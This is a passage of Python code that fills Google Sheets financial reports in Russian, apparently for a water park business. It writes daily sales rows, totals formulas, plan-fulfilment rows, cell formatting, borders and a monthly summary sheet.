self.finreport_dict['Смайл'][0], self.finreport_dict['Общепит'][1] + self.finreport_dict['Смайл'][1], f"=IFERROR(U{self.nex_line}/T{self.nex_line};0)", self.finreport_dict_lastyear['Общепит'][0] + self.finreport_dict_lastyear['Смайл'][0], self.finreport_dict_lastyear['Общепит'][1] + self.finreport_dict_lastyear['Смайл'][1], f"=IFERROR(X{self.nex_line}/W{self.nex_line};0)", self.finreport_dict['Билеты аквапарка КОРП'][0], self.finreport_dict['Билеты аквапарка КОРП'][1], f"=IFERROR(AA{self.nex_line}/Z{self.nex_line};0)", self.finreport_dict['Термозона КОРП'][0], self.finreport_dict['Термозона КОРП'][1], f"=IFERROR(AD{self.nex_line}/AC{self.nex_line};0)", self.finreport_dict['Билеты РЕГ'][0], self.finreport_dict['Билеты РЕГ'][1], f"=IFERROR(AG{self.nex_line}/AF{self.nex_line};0)", self.finreport_dict['Термозона РЕГ'][0], self.finreport_dict['Термозона РЕГ'][1], f"=IFERROR(AJ{self.nex_line}/AI{self.nex_line};0)", self.finreport_dict['Прочее'][0] + self.finreport_dict['Сопутствующие товары'][0], self.finreport_dict['Прочее'][1] + self.finreport_dict['Сопутствующие товары'][1], self.finreport_dict['Online Продажи'][0], self.finreport_dict['Online Продажи'][1], f"=IFERROR(AO{self.nex_line}/AN{self.nex_line};0)", 0, 0, ] ], "ROWS" ) # Задание форматы вывода строки ss.prepare_setCellsFormats( f"A{self.nex_line}:AR{self.nex_line}", [ [ {'numberFormat': {'type': 'DATE', 'pattern': 'dd.mm.yyyy'}, 'horizontalAlignment': 'LEFT'}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) # Цвет фона ячеек if self.nex_line % 2 != 0: ss.prepare_setCellsFormat(f"A{self.nex_line}:AR{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fef8e3")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() # ------------------------------------------- Заполнение ИТОГО -------------------------------------- # Вычисление последней строки в таблице logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение строки ИТОГО на листе 1...') self.sheet2_line = 1 for line_table in self.spreadsheet['sheets'][2]['data'][0]['rowData']: try: if line_table['values'][0]['formattedValue'] == "ИТОГО": break else: self.sheet2_line += 1 except KeyError: self.sheet2_line += 1 for i, line_table in enumerate(self.spreadsheet['sheets'][0]['data'][0]['rowData']): try: if line_table['values'][0]['formattedValue'] == "ИТОГО": # Если строка переписывается - итого на 1 поз вниз, если новая - на 2 поз height_table = i + self.reprint break else: height_table = 4 except KeyError: pass ss.prepare_setValues(f"A{height_table}:AR{height_table}", [[f'ИТОГО', "", f"=SUM(C3:C{height_table - 1})", f"=SUM(D3:D{height_table - 1})", f"=SUM(E3:E{height_table - 1})", f"=SUM(F3:F{height_table - 1})", f"=SUM(G3:G{height_table - 1})", f"=SUM(H3:H{height_table - 1})", f"=SUM(I3:I{height_table - 1})", f"=SUM(J3:J{height_table - 1})", f"=IFERROR(ROUND(J{height_table}/I{height_table};2);0)", f"=SUM(L3:L{height_table - 1})", f"=SUM(M3:M{height_table - 1})", f"=SUM(N3:N{height_table - 1})", f"=SUM(O3:O{height_table - 1})", f"=IFERROR(ROUND(O{height_table}/N{height_table};2);0)", f"=SUM(Q3:Q{height_table - 1})", f"=SUM(R3:R{height_table - 1})", f"=IFERROR(ROUND(R{height_table}/Q{height_table};2);0)", f"=SUM(T3:T{height_table - 1})", f"=SUM(U3:U{height_table - 1})", f"=IFERROR(ROUND(U{height_table}/T{height_table};2);0)", f"=SUM(W3:W{height_table - 1})", f"=SUM(X3:X{height_table - 1})", f"=IFERROR(ROUND(X{height_table}/W{height_table};2);0)", f"=SUM(Z3:Z{height_table - 1})", f"=SUM(AA3:AA{height_table - 1})", f"=IFERROR(ROUND(AA{height_table}/Z{height_table};2);0)", f"=SUM(AC3:AC{height_table - 1})", f"=SUM(AD3:AD{height_table - 1})", f"=IFERROR(ROUND(AD{height_table}/AC{height_table};2);0)", f"=SUM(AF3:AF{height_table - 1})", f"=SUM(AG3:AG{height_table - 1})", f"=IFERROR(ROUND(AG{height_table}/AF{height_table};2);0)", f"=SUM(AI3:AI{height_table - 1})", f"=SUM(AJ3:AJ{height_table - 1})", f"=IFERROR(ROUND(AJ{height_table}/AI{height_table};2);0)", f"=SUM(AL3:AL{height_table - 1})", f"=SUM(AM3:AM{height_table - 1})", f"=SUM(AN3:AN{height_table - 1})", f"=SUM(AO3:AO{height_table - 1})", f"=IFERROR(ROUND(AO{height_table}/AN{height_table};2);0)", f"=SUM(AQ3:AQ{height_table - 1})", f"=SUM(AR3:AR{height_table - 1})", ]], "ROWS") ss.prepare_setValues(f"A{height_table + 1}:D{height_table + 1}", [[f'Выполнение плана (трафик)', "", f"=IFERROR('План'!C{self.sheet2_line};0)", f"=IFERROR(ROUND(D{height_table}/C{height_table+1};2);0)", ]], "ROWS") ss.prepare_setValues(f"A{height_table + 2}:D{height_table + 2}", [[f'Выполнение плана (доход)', "", f"=IFERROR('План'!E{self.sheet2_line};0)", f"=IFERROR(ROUND(G{height_table}/C{height_table+2};2);0)", ]], "ROWS") # Задание формата вывода строки ss.prepare_setCellsFormats( f"A{height_table}:AR{height_table}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, ] ] ) ss.prepare_setCellsFormats( f"A{height_table + 1}:D{height_table + 1}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00%'}}, ] ] ) ss.prepare_setCellsFormats( f"A{height_table+2}:D{height_table+2}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00%'}}, ] ] ) # Цвет фона ячеек ss.prepare_setCellsFormat(f"A{height_table}:AR{height_table}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") ss.prepare_setCellsFormat(f"A{height_table+1}:D{height_table+1}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") ss.prepare_setCellsFormat(f"A{height_table+2}:D{height_table+2}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for j in range(4): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table, "endRowIndex": height_table + 1, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for j in range(4): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table + 1, "endRowIndex": height_table + 2, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение листа 2...') sheetId = 1 ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) self.nex_line = self.start_line ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [ [ datetime.strftime(self.finreport_dict['Дата'][0], '%d.%m.%Y'), len(self.report_rk), float(sum([line['paid_sum'] for line in self.report_rk])) ] ], "ROWS" ) # Задание форматы вывода строки ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'numberFormat': {'type': 'DATE', 'pattern': 'dd.mm.yyyy'}, 'horizontalAlignment': 'LEFT'}, {'numberFormat': {}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}} ] ] ) # Цвет фона ячеек if self.nex_line % 2 != 0: ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fef8e3")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet2_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) # ------------------------------------------- Заполнение ИТОГО -------------------------------------- # Вычисление последней строки в таблице logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение строки ИТОГО на листе 2...') for i, line_table in enumerate(self.spreadsheet['sheets'][1]['data'][0]['rowData']): try: if line_table['values'][0]['formattedValue'] == "ИТОГО": # Если строка переписывается - итого на 1 поз вниз, если новая - на 2 поз height_table = i + self.reprint break else: height_table = 4 except KeyError: pass ss.prepare_setValues( f"A{height_table}:C{height_table}", [[f'ИТОГО', f"=SUM(B3:B{height_table - 1})", f"=SUM(C3:C{height_table - 1})" ]], "ROWS" ) # Задание формата вывода строки ss.prepare_setCellsFormats( f"A{height_table}:C{height_table}", [ [ {'textFormat': {'bold': True}}, {'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, {'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}, 'horizontalAlignment': 'RIGHT', 'textFormat': {'bold': True}}, ] ] ) # Цвет фона ячеек ss.prepare_setCellsFormat(f"A{height_table}:C{height_table}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") # Бордер for j in range(self.sheet2_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": height_table - 1, "endRowIndex": height_table, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() if self.itog_report_month: # SHEET 4 logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Заполнение листа 4...') sheetId = 3 ss = to_google_sheets.Spreadsheet(self.spreadsheet['spreadsheetId'], sheetId, self.googleservice, self.spreadsheet['sheets'][sheetId]['properties']['title']) self.nex_line = 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[f'Итоговый отчет', '', '']], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': True, 'fontSize': 18}}) self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[f"За {self.data_report} {datetime.strftime(self.finreport_dict['Дата'][0], '%Y')}", '', '', ]], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': False}}) self.nex_line += 2 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [['Название', 'Количество', 'Сумма']], "ROWS" ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {'horizontalAlignment': 'LEFT', 'textFormat': {'bold': True, 'fontSize': 14}}) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#f7cb4d")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.runPrepared() for group in self.finreport_dict_month: if group == 'Контрольная сумма': continue if group == 'Дата': continue self.nex_line += 1 ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[ group, self.finreport_dict_month[group]["Итого по группе"][0][1], self.finreport_dict_month[group]["Итого по группе"][0][2] ]], "ROWS" ) ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'textFormat': {'bold': True, 'fontSize': 12}}, {'textFormat': {'bold': True, 'fontSize': 12}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': True, 'fontSize': 12}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fce8b2")}, fields="userEnteredFormat.backgroundColor") for j in range(self.sheet4_width): ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "top": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "right": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "left": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) ss.requests.append({"updateBorders": { "range": {"sheetId": ss.sheetId, "startRowIndex": self.nex_line - 1, "endRowIndex": self.nex_line, "startColumnIndex": j, "endColumnIndex": j + 1}, "bottom": {"style": "SOLID", "width": 1, "color": {"red": 0, "green": 0, "blue": 0, "alpha": 1.0}}}}) for folder in self.finreport_dict_month[group]: if folder == 'Итого по группе': continue if folder == '': continue self.nex_line += 1 if folder is None: folder_name = 'Без группировки' else: folder_name = folder ss.prepare_setValues( f"A{self.nex_line}:C{self.nex_line}", [[ folder_name, self.finreport_dict_month[group][folder][0][1], self.finreport_dict_month[group][folder][0][2] ]], "ROWS" ) ss.prepare_setCellsFormats( f"A{self.nex_line}:C{self.nex_line}", [ [ {'textFormat': {'bold': True}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {}}, {'textFormat': {'bold': True}, 'horizontalAlignment': 'RIGHT', 'numberFormat': {'type': 'CURRENCY', 'pattern': '#,##0.00[$ ₽]'}}, ] ] ) ss.prepare_setCellsFormat(f"A{self.nex_line}:C{self.nex_line}", {"backgroundColor": functions.htmlColorToJSON("#fef8e3")}, fields="userEnteredFormat.backgroundColor") for j in 